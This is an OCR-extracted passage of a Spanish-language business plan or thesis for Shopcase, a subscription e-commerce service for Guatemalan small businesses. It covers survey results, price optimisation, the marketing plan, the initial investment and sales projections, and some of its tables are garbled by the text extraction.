existe un alto porcentaje del mercado que aln no ha sido cubierto.

= Pregunta 4: {Su empresa cuenta con pagina de internet propia?

Tabla 43. Resultados de la Pregunta 4

No. de
empresas que
cuenta con %
. . o.
pagina de
internet propia
3
Si 2 2%
6
No 6 8%
1
Total 8 00%

llustracion 171. Resultados de la Pregunta 4

A pesar que el 100% de las empresas encuestadas tiene acceso a internet, Unicamente el
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32% cuenta con una pagina de internet propia, por lo que para estas empresas también seria
atractivo el servicio de Shopcase que ademas de ofrecer la carretilla de compras les ofrece los
elementos de una web completa, por ejemplo informacién sobre la empresa (historia,

ubicacioén, contacto), productos, promociones, retroalimentacion de los clientes, etc.

= Pregunta 5: ¢Su empresa vende productos por internet a través de una pagina
web propia?

Tabla 44. Resultados de la Pregunta 5

No. de empresas que
venden productos por
internet a través de una o.

pagina web propia

%

4
Si %
9
No 5 6%
1
Total 8 00%

[lustracion 172. Resultados de la Pregunta 5

A través de esta pregunta, se observa que solamente el 4% de las PYMES encuestadas

vende productos por internet a través de una pdgina web propia, por lo que el 96% de estas
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empresas aun no han explotado este nuevo canal de venta. Se ha observado que en paises
desarrollados existe un “boom” de las ventas a través de internet, por lo tanto se cree que
Guatemala adaptara esta tendencia en los proximos afios. Nuevamente es una gran oportunidad

para Shopcase, ya que el mercado lejos de estar saturado, aun no ha sido cubierto.

= Pregunta 6: {Qué porcentaje representa la venta en linea sobre las ventas totales?

Tabla 45. Resultados de la Pregunta 6

Porcentaje que
representa la venta en N
linea sobre las ventas o.

totales

Menos 10% 0
11%-20% 0
21%-30% 1
31%-40% 1
41%-50% 1

Mas de 50% 0

llustracion 173. Resultados de la Pregunta 6.

0 T T T T T 1
Menos10% 11%-20%  21%-30% 31%-40% 41%-50% Mdas de 50%
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El porcentaje que representa la venta en linea de sus ventas totales, para las tres empresas
gue venden productos por internet a través de una pagina web propia, se encuentra dentro del
rango de 21% a 50%, esto significa que para las empresas abarcar este canal de
comercializacion, les permite expandir su mercado y captar nuevos clientes, lo cual vender a

través de internet puede incrementar sus ventas significativamente.

=  Pregunta 7: ¢{Considera que la venta por internet puede aumentar sus ventas?

Tabla 46. Resultados de la Pregunta 7.

Considera que
la venta por
internet puede %
aumentar sus
ventas

Si 62 5%

No 3 %
(o)

llustracion 174. Resultados de la Pregunta 7

no
5%

95%
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Del 96% de las empresas que aun no venden sus productos por internet a través de una
pagina web propia, el 95% considera que sus ventas pueden crecer significativamente si
tuvieran la oportunidad de comercializar sus productos en este canal. De aqui se observa que a

pesar que estas empresas no han adoptado esta tecnologia, estdn consientes de sus beneficios.

= Pregunta 8: ¢{Por qué no vende por internet?

Tabla 47. Resultados de la Pregunta 8

Razones por las que las PYMES no venden por N %
internet o. >
- 3 4

Falta de conocimiento 1 8%
Hemos investigado pero es muy complicado 1 1
Muy cara la inversidn para la infraestructura 3 5

necesaria 6 5%
. . 5

No estoy interesado por el tipo de producto 3 %

(]
Otros: seguridad en los pagos, tarjetas de crédito, 1 1

no conocer al cliente 0 5%

llustracion 175. Resultados de la Pregunta 8
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Como ya se determind anteriormente el 96% de las PYMES encuestadas no vende por
internet a través de una web propia, aunque si estan claros de sus beneficios. La razén principal
por las que estas empresas no venden por internet es porque es muy cara la inversidn que se
requiere. Asi mismo, otra de las razones principales es por falta de conocimiento. Ademas

surgen otras razones como la complejidad y lo relacionado con la seguridad.

El modelo de Shopcase permitird solucionar estas barreras de entrada, ya que es un
servicio integral donde las PYMES no necesitan conocimiento técnico. Asimismo, debido a que
las PYMES tienen un flujo de caja limitado, y se observa que la razén principal se debe a la alta
inversion, la suscripcidon con cuotas mensuales es ideal para romper esta barrera de entrada.
Ademads con un equipo especializado trabajando en la actualizacién y mantenimiento del
sistema, se logra disminuir los riesgos por fraude de tarjetas de crédito y aumentar los niveles

de seguridad.

= Pregunta 9: {Estaria interesado en un servicio integral para vender sus productos por
internet, cobrandole una cuota mensual fija en lugar de una alta inversién inicial; en
donde su empresa se libera de la infraestructura y del personal necesario. Ademas se

despreocupa de las funciones de sistemas (instalacion, actualizacién y mantenimiento)?

Tabla 48. Resultados de la Pregunta 9

No. de Empresas

interesadas en el modelo de No. %
Shopcase
Si 62 91%

No 6 9%
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llustracion 176. Resultados de la Pregunta 9

De las PYMES encuestadas, el 91% si estarian interesadas en el servicio que Shopcase
brindaria. De este resultado se observa la existencia de clientes potenciales y la necesidad en
dichas empresas por vender a través de internet. Del 9% que no se encuentra interesado en este
servicio, son empresas que ya se encuentran satisfechas con un servicio de venta en linea o no
estan interesadas por el tipo de producto que comercializan.

=  Pregunta 10: ¢{Cuanto estaria dispuesto a pagar mensualmente por este servicio?

Tabla 49. Resultados de la Pregunta 10

Precio dispuesto a

agar
pag No. %
mensualmente

por este servicio

QQ100-Q200 10 16%
QQ201-Q300 18 29%
QQ301 - Q400 22 35%
QQ401 - Q500 8 13%
QQ501 - Q600 3 5%

MMayor a Q600 1 2%




llustracion 177. Resultados de la Pregunta 10.
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Con base a esta pregunta, se determiné el precio de mercado que las PYMES estarian

dispuestas a pagar por este servicio. El 35% pagaria una cuota mensual entre Q301 y Q400, y el

29% estaria dispuesto a pagar entre Q201 y Q300. Un 16% no pagaria arriba de Q200 y un 13%

pagaria entre Q400 y Q500. Las empresas que pagarian arriba de Q500 representan solamente

el 7%.

Mostrando un cuadro con el nimero de empresas acumulativo (sobre los 62 clientes

encuestados) quedaria de la siguiente manera:

Tabla 50. Numero de empresas acumulativo

No. de empresas
Precio ue pagarian a
Promedio gstelz)ricio Ventas
(acumulativo)
Q150 62 Q9,300
Q250 52 Q13,000
Q350 34 Q11,900
Q450 12 Q5,400
Q550 4 Q2,200
Q650 1 Q650




Ilustracién 178. Relacidn entre precio, No. de empresas y ventas.
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Se observa que la relacién del precio y cantidad de empresas que maximiza las ventas es de

52 clientes a un precio de Q250. Otra opcién interesante es la de 34 clientes a un precio de

Q350, ya que aunque bajo sustancialmente el nimero de empresas las ventas casi logran los

niveles del precio de Q250.

A continuacidn se presenta un analisis para determinar el precio éptimo evaluando el costo

de oportunidad por establecer un precio muy alto o muy bajo.

Tabla 51. Analisis del precio 6ptimo.

No. de No. de Costo de Costo de Ventas
empresas . .
Precio e empresas que oportunidad | oportunidad | menos costo
. . , pagarian a Ventas por vender a | por vender a | de
promedio | pagarian . . . .
. este precio un precio un precio oportunidad
. (acumulativo) muy bajo muy alto total
precio
Q150 10 62 Q9,300 | Q10,300 Qo -Q1,000
Q250 18 52 Q13,000 | Q5,100 Q1,500 Q6,400
Q350 22 34 Q11,900 | Q1,700 Q6,000 Q4,200
Q450 8 12 Q5,400 | Q500 Q13,700 -Q8,800
Q550 4 Q2,200 | Q100 Q17,300 -Q15,200
Q650 1 Q650 Qo Q18,950 -Q18,300
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En este cuadro es posible notar que los dos precios se ven menos afectados por el costo de
oportunidad son el de Q250 y Q350. El costo de oportunidad se calculd de manera que si el
precio establecido es muy bajo se estan dejando de ganar las ventas de los clientes que estaban
dispuestos a pagar un precio mayor. Por ejemplo sobre los 62 encuestados si se establece el
precio en Q150 hay 52 clientes que estaban dispuestos a pagar un precio mayor (18 a Q250, 22
a Q350, 8 a Q450, 3 a Q550y 1 a Q650) donde el costo de oportunidad se obtiene de la suma de

las diferencias en ventas de cada uno de los clientes dispuestos a pagar mas.

De igual manera si el precio establecido es muy alto, se estdan dejando de ganar las ventas
de los clientes que si estaban dispuestos a pagar pero a un precio menor. Por ejemplo sobre los
62 encuestados si se establece el precio en Q650, hay 61 clientes que no estan dispuestos a
pagar tal precio pero si lo hubieran hecho por uno menor (10 a 150, 18 a Q250, 22 a Q350, 8 a
Q450 y 3 a Q550) donde el costo de oportunidad se obtiene de la suma de las ventas de los

clientes que si estaban dispuestos a pagar un precio menor.

llustracion 179. Analisis del precio éptimo

Q15,000

210000 /\\

Q5,000

Qo ! ! ! ! ! == \/entas
Q150 Q250 Q350 Q450 Q550 Q650

Ventas

-Q5,000 Ventas menos costo de
oportunidad total

-Q10,000

-Q15,000

-Q20,000
Precio

En este analisis se tomaron como variables el precio de venta y la cantidad de empresas

dispuestas a pagar cierto precio, al aumentar el precio de venta aumentara las ventas en dinero
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a medida que el nimero de empresas permanezca constante. Como esto no sucede ya que la
demanda es elastica y el nimero de empresas va disminuyendo a medida que el precio del
servicio va en aumento, se buscé un equilibrio entre el precio de venta y la cantidad de
empresas donde se maximiza la venta neta, considerando los ingresos menos el costo de

oportunidad por elegir un precio muy bajo o muy alto.

En la grafica se observa que las ventas son maximas con un precio promedio de Q250,
seguido del precio de Q350. Por medio de este andlisis podemos descartar los precios de Q150,
Q450, Q550 o Q650 ya que es claramente visible que no son precios ganadores del mercado al
contar con un costo de oportunidad muy alto, al ser un precio muy bajo (Q150) y tener muchos
clientes dispuestos a pagar mas o al ser un precio muy alto (Q450, Q550 o Q650) en donde casi

no hay clientes dispuestos a adquirir el servicio.

Por lo tanto, en base a este estudio, se sugiere que el precio de la cuota mensual sea entre
Q200 y Q400. Para definir el precio se observé cémo opcidon mas atractiva la de 34 clientes a un
precio de Q350, ya que aunque las ventas son ligeramente menores que las de un precio de
Q250, es beneficioso contar con un nimero de clientes dispuestos a pagar por lo que se les
puede prestar un mejor servicio. Ademas al contar con un precio entre Q300 y Q350 se da un
mensaje sobre un mejor servicio, y aunque solamente el 55% de clientes estan dispuestos a
pagar este precio, se logran niveles de venta buenos en relacidn a otros precios y un servicio

mejor.



XVII. ANALISIS DEL ENTORNO Y PLAN DE MERCADEO

A. Andlisis del entorno

Se realizé un analisis del entorno para encontrar oportunidades y amenazas. Ademas se
comparo el servicio versus la competencia y se determinaron sus fortalezas y debilidades. Por
medio de este analisis se busca realizar una investigacién del mercado y determinar si es factible

que el servicio de Shopcase sea aceptado por los potenciales clientes.

Shopcase busca satisfacer una necesidad clara: es un sistema de venta en linea facil de

utilizar, y que esté al alcance de las PYMES.

1. Tamafio de mercado
*  Actualmente existen 1.2 Millones de PYMES™ en Guatemala:

Del total de las empresas en Guatemala 93% son consideradas PYMES®, estas tienen

menos de 50 empleados y un volumen de ventas anuales menor a Q3,000,000.
*  Seestima que el 22% de las PYMES cuenta con acceso a internet™ :

264,000 PYMES cuentan con acceso a internet, lo cual es imprescindible para nuestro
servicio. Segun la encuesta realizada el 9% no esta interesado en el servicio, por lo que serian

240,240 PYMES a quienes esta dirigida la plataforma.

Segun la investigacion descriptiva realizada sélo el 55% de las PYMES interesadas estarian
dispuestas a pagar el precio éptimo. Por lo que los clientes potenciales se reducen a 132,132

PYMES.

El objetivo de ShopCase, por limitaciones en su estructura técnica es llegar a cubrir para el

289
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5to afio de operacién 390 clientes, lo cual representa un 0.30% de las PYMES potenciales.

2. El consumidor

= 18.3% de la poblacion de Guatemala es internauta (2,431,453 hab.) Pero sélo el 3.3%

compra por internet (398,296 hab.) **.

El mercado al que se estd considerando ha evolucionado principalmente por factores

tecnolégicos y globalizacion.

La tendencia de mercado que se observa de parte de los consumidores es la siguiente:

o  Mas sofisticados y sensibles al precio

o  Escasos de tiempo y pretenden mas utilidad
o  Ven productos similares en los proveedores
o Menos sensibles a la marca

o Altas expectativas de servicio

o  Menos lealtad al proveedor

B. Misidn, visidon y propuesta de valor
= Visién

Ser una alternativa innovadora al software tradicional y llegar a posicionarnos como lideres
del mercado en Guatemala en aplicacién de tecnologia SaaS, ademds ser reconocidos por

nuestro excelente servicio al cliente.
= Misién
Simplificar la venta en linea de las pequefias y medianas empresas prestandoles un servicio

superior y de alta tecnologia, logrando con esto beneficios para nuestros clientes e

inversionistas.
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=  Estrategia

El principal enfoque a la hora de definir las actividades de marketing es en servicio, el SaaS

no es un producto es un servicio.

El servicio es enfocado al cliente buscando relaciones de confianza y de largo plazo
ofreciendo un servicio de costo bajo y distribucion masiva. Con este enfoque se busca un

seguimiento y entendimiento continuo tanto de nuestros clientes como de la competencia.

Se opta por crear la marca ShopCase para diferenciarse de la competencia y posicionarse
en el mercado. ShopCase por medio de un excelente servicio y luego con testimonios de otras

empresas busca obtener relaciones de confianza basadas en una imagen limpia y de integridad.

=  Propuesta de valor

El valor de la marca “Brand equity” es cdmo queremos ser percibidos por nuestros clientes,
nuestra estrategia de mercadeo estard alineada para conseguir que el cliente nos perciba como
una solucidn facil y adecuada para pequeiias y medianas empresas con interés en comercializar

sus productos o servicios por medio de internet.

Shopcase es una nueva y mejor forma de interactuar con los clientes; para nuestro cliente
es una herramienta que facilita sus ventas y que puede utilizar para obtener informacién valiosa
del consumidor, como por ejemplo tendencias de compra o sensibilidad a las promociones y de
esta manera ofrecerle productos y promociones que sean de su interés. El verdadero valor para
nuestro cliente es que lo convierte en un mejor vendedor al llegar a mas clientes e incrementar

su disponibilidad, nuestro cliente desea que el software lo haga mas eficiente en lo que hace.

Actualmente las empresas al utilizar software tradicional se involucran en una
infraestructura compleja para correr la aplicacion, deben contar con servidores, almacenaje,
sistemas de seguridad y de contingencia, esto les complica la implementacién ya que lo que
ellos realmente necesitan es Unicamente la aplicacién y no la infraestructura y la operacion. Con

ShopCase las empresas pueden tercerizar la complicada infraestructura y los gastos de
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operacion para recibir inicamente la aplicacién.

Estudios demuestran que al utilizar software tradicional solamente el 20% del presupuesto
de IT se invierte en software mientras que el 80% restante se distribuye en personas, servicios y
hardware. Considerando que el software es lo que le interesa al cliente, el gasto no se estd

enfocando en lo que el cliente necesita y que realmente agrega valor.

El analisis del entorno de ShopCase lo dividimos en funcional y general:

El funcional son todos aquellos agentes inmediatos que se pueden predecir mediante
acciones, por ejemplo cotizando en la competencia y proveedores o realizando encuestas, el

entorno incluye: proveedores, distribuidores y grupo objetivo.

El entorno general se basa en predicciones y supuestos y se encuentran fuera de nuestro
esquema de control, entre estos encontramos el aspecto demografico, econdmico, fisico-

tecnoldgico, politico-legal y sociocultural.

Por légica vamos a maximizar nuestros esfuerzos de marketing en el entorno funcional ya

gue este si lo podemos controlar.

C. Comparacion SaaS vs software tradicional

Consideramos que el SaaS es mas que una simple moda pasajera, en estos ultimos afios se
puede observar que es una tendencia de crecimiento constante. El mercadeo de SaaS difiere de

mercadear software con licencia o tradicional por cuatro principales razones:

1. SaaS es un negocio de servicio, no un producto. Es la diferencia fundamental de negocio
entre SaaS y el software con licencia, se ofrece un servicio integral y no un producto.

Esto se refleja en todas las dreas del negocio y no sélo en el plan de marketing y ventas. El
marketing trata de resolver la necesidad del cliente y beneficiarlo con el servicio que se le
presta. El plan de marketing debe estar enfocado en “el cliente es primero” por lo que al servicio

al cliente y su interaccion debe prestarsele mucha atencion.
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2. El costo de adquisicion de clientes debe ser bajo. De esta manera se hace rentable el
SaaS, cuando un potencial se convierte en cliente no sabemos cudnto tiempo va a
permanecer como suscriptor de nuestro servicio. Las actividades tradicionales para adquirir
clientes son muy caras para el modelo de SaaS, se debe planificar un ciclo de ventas que permita
optimizar los recursos. El ciclo de ventas se describe por medio de la herramienta ATC por sus

siglas en inglés (Awareness, Trial, Repeat).

Los tres pasos claves del ciclo de ventas son:

e Informar a los potenciales clientes de nuestro servicio. Se lograra a través de
relaciones publicas y publicidad.

e Que los potenciales clientes tengan la oportunidad de probar el sistema y recibir
demostraciones de cdmo funciona.

e Los clientes al estar conformes con el servicio adopten y renueven la suscripcién del

servicio.

3. Continuar mercadeando a los clientes actuales. En el modelo SaaS el marketing no se
trata sélo de adquirir nuevos clientes, se necesita un marketing continuo que permita
entregar valor a los clientes para mantener la suscripcidon a nuestro servicio e involucrarlos en

un proceso de mejora donde se les solicite retroalimentacion.

4. Hay que enfocarse en una estrategia de jalar. Este enfoque de jalar busca estimular la
demanda del consumidor para obtener la distribucién de un producto. Al estar
vendiendo una solucidn, queremos que nuestro servicio esté primero en el lugar y momento en
el que un cliente potencial estd buscando una solucién para su problema. Esto significa
posicionarse entre los primeros resultados de Google cuando el cliente busca lo que necesita,
responder preguntas sobre el servicio en grupos o foros, participar en redes sociales y formar
una comunicacion viral en donde los mismos clientes promuevan nuestro servicio hacia nuevos

clientes.

La clave para ser rentables es manejar los costos de manera eficiente, conocemos que los

costos de operacién son mayores con SaaS y que los ingresos por adelantado son muy bajos.
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Tabla 52. Analisis FODA SaaS vs Software tradicional

Fortalezas

Debilidades

e Sesimplifica la administracién de la
empresa ya que se terceriza la instalacion,
infraestructura y mantenimiento.

. Empezar a utilizarlo inmediatamente.

. Baja inversidn inicial para el cliente

o Bajo costo de mantenimiento para el
cliente

. Menos personalizable.

. Menos integrable con otras aplicaciones
de control.

e  Se pierde flexibilidad al trabajar con
recursos externos.

Oportunidades

Amenazas

° Tendencia del mercado a utilizar

aplicaciones Saa$ por la simplificacidon que ofrece.

. Crecimiento constante de la venta en
linea.

. Actualizacion en sistemas de de
relaciones con clientes (CRM).

. Poca confianza de los clientes en utilizar
las compras en linea.

. Leyes que regulen este modelo.

. Aplicaciones que ofrezcan mas que la
venta en linea.

. Aplicaciones que ofrezcan lo mismo a un
costo menor.

E. Marketing mix

1. Producto o servicio. El producto se refiere al bien fisico o servicio que se le ofrece al

cliente. Las compaiiias buscan hacer ofertas mejores o diferentes que la competencia

para que el mercado objetivo lo prefiera. Involucra aspectos como funciones, apariencia,

empadque, servicio post compra, garantia etc.

Servicio de generacién y mantenimiento de carrito de compras, por medio del cual los

clientes pueden administrar sus ventas en internet. ShopCase cuenta con un moddulo de

generacién de contrasefias para crear nuevos clientes, ademds tiene un moddulo de

administraciéon de nuestros clientes y cada cliente cuenta con otro mddulo donde puede

administrar sus categorias y productos. El servicio incluye asesoria y capacitacién para el uso del

software y garantia de un mes si no existe satisfaccion por parte del cliente.
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2. Precio. El precio es el valor monetario asignado al producto o servicio. En un mercado
libre es determinado por la oferta y demanda, el producto o servicio que se intercambia

tiene valor para el cliente dependiendo del beneficio que le brinde, la resolucién de su problema
o la satisfaccidon de una necesidad, por lo que el valor que le da el cliente al producto o servicio

es clave para definir el precio.

El precio puede analizarse desde el punto de vista del cliente que es la referencia de valor y

para Shopcase es una herramienta que convierte su volumen de ventas en ingresos.

Por medio de la investigaciéon descriptiva se determind el precio 6ptimo el cual de $40
mensuales con IVA incluido y se establece un contrato de minimo un afio, el pago se realiza al

terminar el mes ya sea con efectivo, cheque o tarjeta de crédito.

A pesar de que en Guatemala el SaaS es muy novedoso y poco conocido, en otros paises el
servicio viene siendo utilizado con éxito. Y se adquiere con paridad en el precio del servicio de
ShopCase ($40 al mes) aunque con mejores caracteristicas, ya que son compafiias muy grandes

como Yahoo que logran crear economias de escala debido a la gran cantidad de usuarios.

Tabla 53. Estrategia de Precios, Software tradicional vs. SaaS

Alquiler de Software (3 afios) Compra de Software Index

USS$ 2,000 - USS
USS 1,440 58%-72%
2,500

El alquilar le representa al cliente un ahorro entre 28% y 42%

3. Plaza. La empresa cliente se conectara a nuestro servidor desde donde se le presta el

servicio. Utilizando un modelo uno a muchos (una instancia, multiples usuarios).
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4. Promocién. La promocidn comprende todas las herramientas de comunicacién que
pueden comunicar un m-ensaje a la audiencia objetivo. Incluye publicidad, promocién

de ventas, relaciones publicas, fuerza de ventas y marketing directo. (Kotler, 1999) *

Se enfoca en el medio de pequefias y medianas empresas. Se llegard a ellas principalmente
por medio del pull marketing, se invertird en optimizacién de buscadores para posicionar la
pagina de Shopcase entre los primeros resultados de Google, ademas se invertird en grupos,
foros o blogs para responder preguntas sobre el servicio. También se participara en redes
sociales, iniciando Unicamente con Facebook ya que es la de mayor alcance y se puede
segmentar a quién va dirigido el mensaje con el objetivo de formar una comunicacién viral en
donde los clientes promuevan el servicio. Se contard con material audiovisual que explique
como funciona Shopcase. También se utilizaran folletos, e-mailing a interesados,

presentaciones y demostraciones.

El enfoque de la publicidad en internet se debe a que cada vez mas las personas y empresas
estan sustituyendo su tiempo de television y periddicos por internet, y en el medio actual se
observan los fendmenos del correo electrénico y las redes sociales. Trae grandes ventajas
debido a su bajo costo de distribucion y accesibilidad en cualquier momento. También por
medio de internet es mas facil dirigirse a un mercado objetivo que por medio de la television o
prensa. Esto es debido al IP de las computadoras y de los perfiles en las redes sociales que

ademas del rastreo permiten medir el éxito de la campafia de publicidad.

Por medio de la herramienta “PENCILS” describimos cémo se manejara las relaciones
publicas de marketing:

- Publicaciones: Se realizardn publicaciones en revistas orientadas a PYMES

presentando el nuevo sistema, y los beneficios de aumentar sus ventas, reducir los

costos y abrirun  nuevo canal de distribucién.

- Eventos: Se realizard un evento de lanzamiento con presentaciones vy

demostraciones invitando a potenciales clientes y a la prensa.

- Noticias: Se buscara participar en los segmentos de tecnologia de los periddicos,
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blogsy foros de internet.

- Compromiso con la comunidad: Se realizardn presentaciones en comunidades de
productos artesanales y asesorarlos para su comercializacién en Shopcase.
- Identificacion: Se contara con uniformes, tarjetas empresariales, gorras, libretas y

lapiceros para dejar clara nuestra imagen.

- Lobby: Se realizaran esfuerzos para influir favorablemente en las operaciones de
Shopcase, se tratara con proveedores de servicios de internet, servicios de

tarjetasde  crédito y servicios de paqueteria.

- Solidaridad social: Se colaborara con las fundaciones y organizaciones no

lucrativas y se tendra un “enfoque verde” en nuestras operaciones.

Se realizard una fuerte inversién inicial en relaciones publicas para marketing y se tiene

contemplado un presupuesto mensual para esto, el cual va decreciendo a medida que se vayan

adquiriendo mas clientes.

Se utilizé la herramienta “AIDA” para describir las caracteristicas que tendra la publicidad.

- Atencion: para despertar el interés de los potenciales clientes, se piensa captar la

atencién por medio de beneficios en frases cortas tales como:
“Ahora vender por internet es facil y rapido”
“Aumente sus ventas y disminuya sus costos vendiendo por internet”

“Ya no necesita de un local para poder vender”

- Interés: el cliente siente una atencidén continuada, una curiosidad donde desea saber

mas de lo gue se ofrece.

- Deseo: al estar bien informado sobre la oferta, el cliente quiere adquirir el servicio.
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Accion: finalmente el cliente toma la decisidn de adquirir el servicio.

Nuestras relaciones publicas y publicidad giran alrededor del concepto de nuestro logo y

slogan

llustracién 180. Logo Shopcase.

"-1—-.

/
shop case

E-commmmerce made =4 b

F. Practicas de mercado

Shopcase utilizard las siguientes practicas de Mercado ganadoras:

Servicio superior: Cada empresa asigna importancia diferente hacia los atributos
que considera un servicio superior, buscaremos adaptarnos a cada empresa
enfocandonos en lo que consideren prioritario: rapidez, cordialidad, conocimiento,
disponibilidad o capacidad de resolucion de problemas.

Precios bajos: Al combinarlo con un buen servicio los clientes estaran recibiendo un
gran valor y percibirdn el precio bajo, ademas la alternativa de no utilizar un modelo
Saa$S es mas cara.

Adaptacion masiva: Se busca adaptar el servicio a la mayor cantidad de clientes en
lugar de personalizar a cada usuario ya que el coste es mas alto.

Mejoramiento sostenido del servicio: Es una estrategia acertada ya que es parte del
servicio actualizar el sistema con nuevas innovaciones para mantener al cliente y
siempre entregarle mayor valor que la competencia.

Acceso a mercados de alto crecimiento: Cada vez mas empresas y nuevas empresas
buscan la tendencia del Saa$, es un mercado que va en constante crecimiento y hay
que aprovechar que no estd saturado. Hay que tomar en cuenta que en las
industrias de alto crecimiento los productos se tornan obsoletos muy rapido y hay
gue invertir continuamente para estar al dia.

Superacion de las expectativas del cliente: Para mantener a los clientes es muy

importante superar sus expectativas con lo que las probabilidades de continuar en
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la suscripcién son mayores.
- Ventas: Es importante hacer la distincion entre cliente y consumidor:

o Definicion de cliente: Todas aquellas empresas que adquieran nuestro
servicio a cambio de una transaccion financiera (dinero). Es el cliente
directo.

o Definicion de consumidor: Son los compradores de los productos. Los

clientes de nuestros clientes (usuario final).

Esto es importante ya que si nuestro interés prestar el servicio se debe negociar con los
clientes, pero cuando nuestro interés es mejorar la calidad del servicio también se debe

contactar a los consumidores quienes son los que realizan las compras.

Partimos de la premisa que la empresa depende de sus clientes por lo que deben
comprender totalmente sus necesidades actuales y futuras para poder satisfacerlos y exceder
sus expectativas. Ademas el enfoque en la relacion con el cliente debe ser muy detallado, ya que
en proyecto de SaaS debe existir una plena confianza entre empresas e invertir en dar una

imagen de empresa sdlida.

A continuacion se presenta el esquema sugerido para el registro de un nuevo cliente:

Contacto:

Nombre:

Apellidos:

Correo electrénico:
Numero de teléfono:
Numero de celular:
Empresa

Nombre:

NIT:

Numero de empleados:
Pais:

Direccion:

Cddigo postal: |

Numero de teléfono:
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Numero de fax:

Luego del registro el cliente recibira un correo de su registro exitoso con el siguiente

formato:
Hola (Nombre de Contacto),
Me gustaria ponerme a la orden como tu punto de contacto en shopcase.com.

He visto que te has dado de alta en nuestro servicio y me gustaria entender las
necesidades de tu empresa para darte el mejor servicio posible. Por favor, avisame

cudndo seria un buen momento para hablar por teléfono.

Mientras tanto, te invito a visitar nuestra suite de demostraciones para aprender un

poco mds de las diferentes funcionalidades que ofrecemos.
https://shopcase.com/democenter
Atentamente,
(Nombre del Vendedor)
Shopcase.com
Ventas Corporativas - Guatemala

Email: (vendedor)@shopcase.com

Teléfono: (Numero telefdnico del vendedor)

Al realizar benchmarking con empresas de Estados Unidos notamos que la comunicaciéon

con los clientes no debe ser extremadamente formal.

También se sugiere que exista una pagina de demostracidn para ensefiarle al cliente las
diferentes funcionalidades que ofrecemos, ademas de videotutoriales que le ensefie a los

clientes a utilizar el médulo de administracion.


https://shopcase.com/spanishdemocenter
mailto:jdavid@shopcase.com
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llustracion 181. Definicidn del cliente.

- Nacionalkes
- exlranjaras

Emprasas:
. Micro
. Pequehas
" Medianas

Comarcial

Seclor
F Y
Faclores que . Actitud Innovadora
; determinan la " Capacidad econdmica
Clignte "
adopcin do «  Accesoa internal y
nuesiros senicios cOMUnICACionESs
h

. HNuavos mercados
. Reduccion da costos de

Benahcios
oparacin
. Mejor calidad da
alencidn al cliente

. Mayor productividad

»  Mejor desempeno de
vanlas

. Emprasa compalitiva

Es importante definir los tipos de contacto para asi priorizar nuestros esfuerzos al ofrecer
nuestro servicio. Dependiendo del tipo de contacto que sea vamos a utilizar diferentes

herramientas.

o  Conocido: Se conoce a las empresas de las cuales se sospecha que pueden estar

interesadas en el servicio. Se les puede presentar folletos, realizarles

presentaciones, etc.

o Interesado: Serdn las empresas que se inscribieron en la pagina web o se han

puesto en contacto para obtener mas informacion. Se debe crear una lista de
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caracteristicas (definicion del cliente) que indiquen si el cliente es de interés y

evaluarlo si cumple con los requisitos para determinar si vale la pena entrar en

negociaciones. Se les puede realizar una demostracion.

o Potencial: Son las empresas interesadas que tienen la necesidad de externalizar

sus ventas en linea y la propuesta de Shopcase va alineada con su estrategia. Se

les presenta un detalle y se negocian condiciones para cerrar el acuerdo.

o Cliente: Empresas que compran los servicios de Shopcase, seran el reflejo de un

buen trabajo en el proceso de ventas, si la venta no es exitosa se debe

documentar los pasos para realizar un andlisis de qué salié bien y qué se debe

mejorar para el proximo cliente potencial.

llustracién 182. Fases de relacion.

Conocido *

Interesado

Potencial *

Clignte

La comunicacion entre Shopcase y el cliente seguira este flujo en medida que aumente la

importancia, aunque no es necesariamente secuencial.

lustracion 183. Herramientas para servicio al cliente.
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XVIIl. ANALISIS FINANCIERO

A. Inversion Inicial

La Inversidn Inicial que se requiere para este proyecto consiste en la elaboraciéon del
sistema, el equipo y mobiliario, los certificados de seguridad, los tramites de registro y de

imagen y publicidad.

Tabla 54. Inversion Inicial.

Inversién Inicial Costo

Elaboracién del sistema S 2,000.00
5 Computadoras S 3,000.00
Mobiliario S 1,500.00
Plantillas $  300.00
5 afios Dominio $  50.00
Hosting S 174.00
Certificado Verisign S 450.00
Certificado GeoTrust S 249.00
Inscripcidon de empresa S.A. con Patente S 620.00
Registro propiedad intelectual $ 720.00
Registro de marca S 36.00
Honorarios abogado y contador $ 950.00
Asesoria de seguridad S 200.00
Imagen y campafia de comunicacién $ 2,500.00
Inversién Inicial $12,749.00

Como se puede observar se requiere una inversion inicial de US$12,749 este gasto es

cubierto por los cinco accionistas.

B. Horizonte de planificacion

El periodo en el cual se realizaran las proyecciones de ingresos y egresos del proyecto es de
cinco afos. Se ha escogido este horizonte de planificacidon porque se cree que es un periodo que

permite evaluar el crecimiento del proyecto con la estrategia inicial. Asi mismo se espera que
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durante este periodo la situacién econdmica y las legislaciones del pais no cambien de forma
radical. Se utilizard una inflacién de 7% ya que es el promedio de la inflacién en Guatemala a lo
largo de los ultimos diez afos. Esta informacion se obtuvo del Instituto Nacional de Estadistica

(ver anexo 3, Inflacion).

C. Proyeccion de ventas

Se realizé una estimacidn de la demanda esperada durante los primeros cinco afios, con la
finalidad de calcular las ventas esperadas del proyecto. Esta proyeccion se realizé de acuerdp a

encuestas y tendencias del mercado.

Las ventas constituyen el ingreso de dinero que obtiene la empresa. Se han calculado en
base a la demanda y el precio de venta. Se proyecta que al inicio del proyecto se contara con 10
clientes, luego se estimé que para el siguiente mes se obtendra un crecimiento del 50%, y para
los siguientes meses del primer afio, la tasa ird decreciendo un 4% mensual. A lo largo del
segundo y tercer aio, la tasa de crecimiento mensual se mantendrd en un 2%. Y para el cuartoy
quinto afio, debido a que la captacion de clientes es decreciente, se espera que el crecimiento

sea un 1% mensual.

El precio se establecié en base a las encuestas realizadas a los clientes potenciales, y se
determind que el precio ganador del mercado es de $40 mensuales. Es importante mencionar
que las PYMES cuentan con un flujo de caja limitado, y en la mayoria de los casos no les
accesible realizar la inversidn que se requiere en una alternativa tradicional. Dicho precio es uno

de los elementos diferenciadores que captara a las PYMES en este nuevo mercado.

llustracion 184. Proyeccién de ventas.
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En la grafica se observa que el crecimiento del primer afio es exponencial, ya que
comienza Unicamente con diez clientes y se hace un gran esfuerzo de mercadeo. Luego a lo
largo de los siguientes afos, se considera que el crecimiento serd lineal con una pendiente anual

decreciente.

A continuacién, se puede observar el nimero total de clientes que se espera captar al
final de cada afio. La tasa anual de crecimiento va disminuyendo, ya que la captacién de clientes
es decreciente con respecto al afio anterior; esto va en linea con el plan relaciones publicas y

publicidad.

Tabla 55. No. de clientes al final de cada afio.

Tasa
o Clientes al anual de
Ano . - ..
final del afio crecimiento
de clientes
1 170
2 242 42%
